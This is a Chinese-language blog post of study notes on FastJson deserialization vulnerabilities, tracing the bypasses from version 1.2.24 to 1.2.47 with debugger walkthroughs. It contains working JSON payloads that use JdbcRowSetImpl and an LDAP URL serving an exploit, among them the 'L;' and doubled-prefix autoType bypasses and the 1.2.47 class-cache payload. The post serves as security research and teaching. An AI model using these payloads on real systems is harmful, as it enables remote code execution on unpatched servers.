FastJson 反序列化研究笔记(一)

FastJson 反序列化研究笔记(一)

前言

本文是 FastJson 反序列化研究笔记的第一篇,记录的是笔者从零开始跟这条版本演进线的过程:从 1.2.24 的原始漏洞开始,逐个版本看它加了什么防护、又被怎么绕过去,一直到 1.2.47 那个不需要开启 autoType 的通用解法。

需要说明的是,笔者本身也是初学者,所以本文更接近一份学习笔记而不是权威分析。文中会尽量把每一步的断点位置、调用栈和关键代码都记录下来——一是方便自己以后回看,二是或许能给同样在学这块的人一点参考。

基础了解

先建立一个项目,在根目录的 pom.xml 加入如下 1.2.24 版本的依赖:

  <dependency>
      <groupId>com.alibaba</groupId>
      <artifactId>fastjson</artifactId>
      <version>1.2.24</version>
  </dependency>

随后建立一个 User 类:

package com.demo;

public class User {
    private String name;
    private int age;

    public User() {
        System.out.println("[Constructor] com.demo.User()");
    }

    public User(String name, int age) {
        System.out.println("[Constructor] com.demo.User(String name, int age)");
        this.name = name;
        this.age = age;
    }

    public String getName() {
        System.out.println("[getter] getName()");
        return name;
    }

    public int getAge() {
        System.out.println("[getter] getAge()");
        return age;
    }

    public void setName(String name) {
        System.out.println("[setter] setName(" + name + ")");
        this.name = name;
    }

    public void setAge(int age) {
        System.out.println("[setter] setAge(" + age + ")");
        this.age = age;
    }

    @Override
    public String toString() {
        return "com.demo.User [name=" + name + ", age=" + age + "]";
    }
}

我们创建一个 Demo1 的 Java 文件:

import com.alibaba.fastjson.JSON;
import com.demo.User;

public class Demo1 {
    public static void main(String[] args) {
        User user = new User("Alice", 18);

        // 序列化
        String json = JSON.toJSONString(user);
        System.out.println(json);

        // 反序列化
        User newUser = JSON.parseObject(json, User.class);
        System.out.println(newUser);
    }
}

现在运行它,可以看到如下的输出:

[Constructor] com.demo.User(String name, int age)
[getter] getAge()
[getter] getName()
{"age":18,"name":"Alice"}
[Constructor] com.demo.User()
[setter] setAge(18)
[setter] setName(Alice)
com.demo.User [name=Alice, age=18]

我们的重点是看关于反序列化的部分,也就是 User newUser = JSON.parseObject(json, User.class); 这条语句的行为。可以看到它并不是使用 public User(String name, int age) 这个构造方法,而是默认无参的构造方法,随后再使用 setter 进行设置。

AutoType 的使用

Fastjson 支持 AutoType 功能,这个功能在序列化的 JSON 字符串中带上类型信息,在反序列化时,不需要传入类型,实现自动类型识别。

在低于 1.2.25 版本时,它是自动开启的,我们编写一个新的 Demo:

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;

public class Demo2 {
    public static void main(String[] args) {
        String payload = "{\"@type\":\"com.demo.User\",\"name\":\"Bob\",\"age\":20}";

        JSONObject jsonObject = JSON.parseObject(payload);
        System.out.println(jsonObject);
    }
}

其运行结果如下:

[Constructor] com.demo.User()
[setter] setName(Bob)
[setter] setAge(20)
[getter] getAge()
[getter] getName()
{"name":"Bob","age":20}

我们使用了 @type,@type 是 Fastjson 中的一个特性:当序列化一个对象时,Fastjson 可以将对象的类型信息作为 JSON 字符串的一部分。这样,在反序列化时,Fastjson 能够知道应该将 JSON 字符串转换回哪种具体的 Java 类型。

传入恶意的对象类型信息——低于 1.2.25 版本的反序列化漏洞

现在我们尝试第三个 demo:

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;

public class Demo3 {
    public static void main(String[] args) {
        // 暂时设置允许远程类加载
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");

        String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\",\"autoCommit\":true}";

        JSONObject jsonObject = JSON.parseObject(payload);
        System.out.println(jsonObject);
    }
}

高版本的 Java 需要进行的额外设置

低版本的 Java,客户端在 lookup() 的过程中:

  1. 会先尝试在本地 CLASSPATH 中去获取对应的 Stub 类的定义,并从本地加载;
  2. 然而如果在本地无法找到,客户端则会向远程 Codebase 去获取攻击者指定的恶意对象。远程 Codebase 实际上是一个 URL 表,该 URL 上存放了接收方需要的类文件。

当 JDK 版本 > 8u121 时,默认禁止 RMI 远程类加载;
当 JDK 版本 > 8u191 时,默认禁止 LDAP 远程类加载。

当 JDK 版本大于这些版本时,默认只允许本地加载。对于攻击者而言,不能引入新的恶意代码,只能使用已有的代码,利用点从"类加载"转向"对象构造/方法调用",也就是需要一个受害者本地 CLASSPATH 中的类作为恶意的 Reference Factory 工厂类,并利用这个本地的 Factory 类执行命令。不过这并非本文的学习课题,这里先暂时直接设置允许远程类加载。

按照类似 https://www.cnblogs.com/R4v3n/p/23369693 的方法,建立对应的 LDAP 服务器和 HTTP 服务器,运行,观察到弹出计算器。

1.2.25-1.2.41 的绕过

现在回到项目的 pom.xml,将 fastjson 的版本修改为 1.2.25,重新加载后,重新运行 Demo3,此时并不能弹出计算器,观察错误信息:

Exception in thread "main" com.alibaba.fastjson.JSONException: autoType is not support. com.sun.rowset.JdbcRowSetImpl
	at com.alibaba.fastjson.parser.ParserConfig.checkAutoType(ParserConfig.java:844)
	at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:322)
	at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1327)
	at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1293)
	at com.alibaba.fastjson.JSON.parse(JSON.java:137)
	at com.alibaba.fastjson.JSON.parse(JSON.java:128)
	at com.alibaba.fastjson.JSON.parseObject(JSON.java:201)
	at Demo3.main(Demo3.java:11)

提示 autoType is not support。在 1.2.25 之后的版本,以及所有的 .sec01 后缀版本中,autoType 功能是受限的,需要手动开启。那么我们尝试跟进 JSON.parseObject 方法,查看做了什么:

跟进这个 checkAutoType 方法:

当设置了 autoTypeSupport,将会进行黑白名单校验,白名单是用户自己添加的,这里我们关注黑名单:

当经过这个校验后,代码

Class<?> clazz = TypeUtils.getClassFromMapping(typeName);

将会尝试从 fastjson 的缓存表里查这个类;查到就直接返回,查不到返回 null。随后当 autoTypeSupport=true 时,再次进行校验,最后执行如下代码:

  if (this.autoTypeSupport || expectClass != null) {
      clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
  }

我们继续跟进:

注意到当 className 以 L 开头并以 ; 为结尾时,将会进行一次 substring 操作,把首尾这两个字符删掉,然后对剩下的字符串执行 loadClass。

那么我们尝试构造这样的字符串:

String payload = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\",\"autoCommit\":true}";

按照上面的逻辑,那么最后的 @type 就会是我们想要的 com.sun.rowset.JdbcRowSetImpl:

成功弹出了计算器。

为什么会有这两个特殊的条件分支

这两个分支原本是为了解析 Class.getName() 的数组/描述符格式。当以 [ 开头时说明 className 是个数组,而以 L 开头 ; 结尾则表示这是一个对象类型。例如当类型是 String[] 时,Class.getName() 结果将是 [Ljava.lang.String;,按照上述的逻辑,将会进行如下流程:

loadClass("[Ljava.lang.String;")
 ├─ 命中分支一('[') substring(1) → "Ljava.lang.String;"
 │   └─ 递归 loadClass("Ljava.lang.String;")
 │       ├─ 命中分支二(L...;) → "java.lang.String"
 │       │   └─ 递归 loadClass("java.lang.String") → String.class
 │       └─ 返回 String.class
 └─ Array.newInstance(String.class, 0).getClass() → String[].class

1.2.42 版本绕过

按照前面的分析,我们直接定位到 checkAutoType 方法:

和前面不同,这里出现了很奇怪的数字,显然是做了混淆处理。但我们先不急着找混淆相关的代码,直接打上断点:

我们最开始的 className 是 Lcom.sun.rowset.JdbcRowSetImpl;,经过这条判断后:

显然,这部分的分支就是判断 className 的首字符是否以 L 开始并以 ; 结束,如果是那就删掉,然后进入下面的判断:

同样,这部分和前面的 1.2.41 的区别无非是加了一些黑名单,然后将其 hash 以扰乱安全研究者。此时,如预期一般,就会被黑名单检测到,从而报错:

我们仍然不急着去想如何绕过这个黑名单,我们继续往下看,像前面的分析一样,进入 TypeUtils.loadClass 方法:

这里的代码并没有任何的变化。但是我们在前一节的分析中,得知了这个方法是会被递归调用的,而 checkAutoType 方法只是对最开始的字符串进行了一次删除而已,这意味着我们只要双写就可以进行绕过。于是我们在前一节的基础上,简单地多加一层:

String payload = "{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\",\"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\",\"autoCommit\":true}";

就可以实现绕过。

低于 1.2.47 版本的通用解法

1.2.43-1.2.45 这几个版本间也都存在对应的绕过手段,不过都是一些小修小补。这里我们直接将 fastjson 版本提升到 1.2.47 版本,在这个版本,不需要开启 autoType 就可以进行攻击,而且对于之前的版本均适用。

这次我们换一种方法,根据 PoC 跟适用条件进行分析。首先给出最终的 Payload:

String payload =
                "{\"1\":{" +
                "\"@type\":\"java.lang.Class\"," +
                "\"val\":\"com.sun.rowset.JdbcRowSetImpl\"}," +
                "\"2\":{" +
                "\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +
                "\"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\"," +
                "\"autoCommit\":true" +
                "}}";

这里可以发现,和先前的 payload 不同,这里出现了两个 @type,并且第二个 @type 就是最初的没有任何过滤的 payload。和之前一样,定位到 checkAutoType 方法,既然这次的 payload 并不需要添加 L 前缀,并且不需要手动开启 autoType,那么我们直接跳到下面的分支,打上断点,看 clazz 在哪个地方被进行了设置:

首先是第一个 @type:

第一个 @type 经过 this.deserializers.findClass 方法后成功进行了设置;

第二个 @type:

这次则是在经过 TypeUtils.getClassFromMapping 方法后就进行了设置。

第一个分支的 this.deserializers.findClass 方法看起来并没有什么特别的地方:

那么现在检查 TypeUtils.getClassFromMapping 方法:

就是很简单的从 mappings 利用 get 方法找出 className 对应的值,而查看 mappings,它是这样定义的:

private static ConcurrentMap<String, Class<?>> mappings = new ConcurrentHashMap(16, 0.75F, 1);

这是一个静态变量。根据前面的分析,我们可以很简单地得到:在两个 @type 解析间,一定发生了某个步骤设置了这个 mappings。而 mappings 又是属于 TypeUtils 的私有静态变量,那么很显然里面一定存在着对应设置 mappings 的方法。只要在那个方法打上断点,我们就可以通过查看调用栈得知到底是哪一步设置了 mappings,于是在 TypeUtils 类搜索 mappings.put 关键字,只有两个方法:一个是 addBaseClassMappings,另一个是 loadClass 方法。第一个方法是 mappings 的初始化过程,那么我们在第二个方法打上断点,继续调试:

然后查看左下角的调用栈,可以看到,在第一个 @type 的解析后调用了 deserialzer.deserialize 方法:

随后在这个 deserialze 方法内调用了 TypeUtils.loadClass 方法:

而此时传入的 strVal 对应的就是第一个键 1 内的 val,也就是 com.sun.rowset.JdbcRowSetImpl。

因为现在 mappings 内拥有了 com.sun.rowset.JdbcRowSetImpl,第二次进行 checkAutoType 方法就会从 TypeUtils.getClassFromMapping 方法直接取出正确的类,然后按照前面的步骤进行解析,从而实现代码执行。

参考文章

https://jishuzhan.net/article/2086995894217359361

https://www.cnblogs.com/LINGX5/p/18788161

posted @ 2026-10-23 11:09  R4v3n  阅读(6)  评论(0)    收藏  举报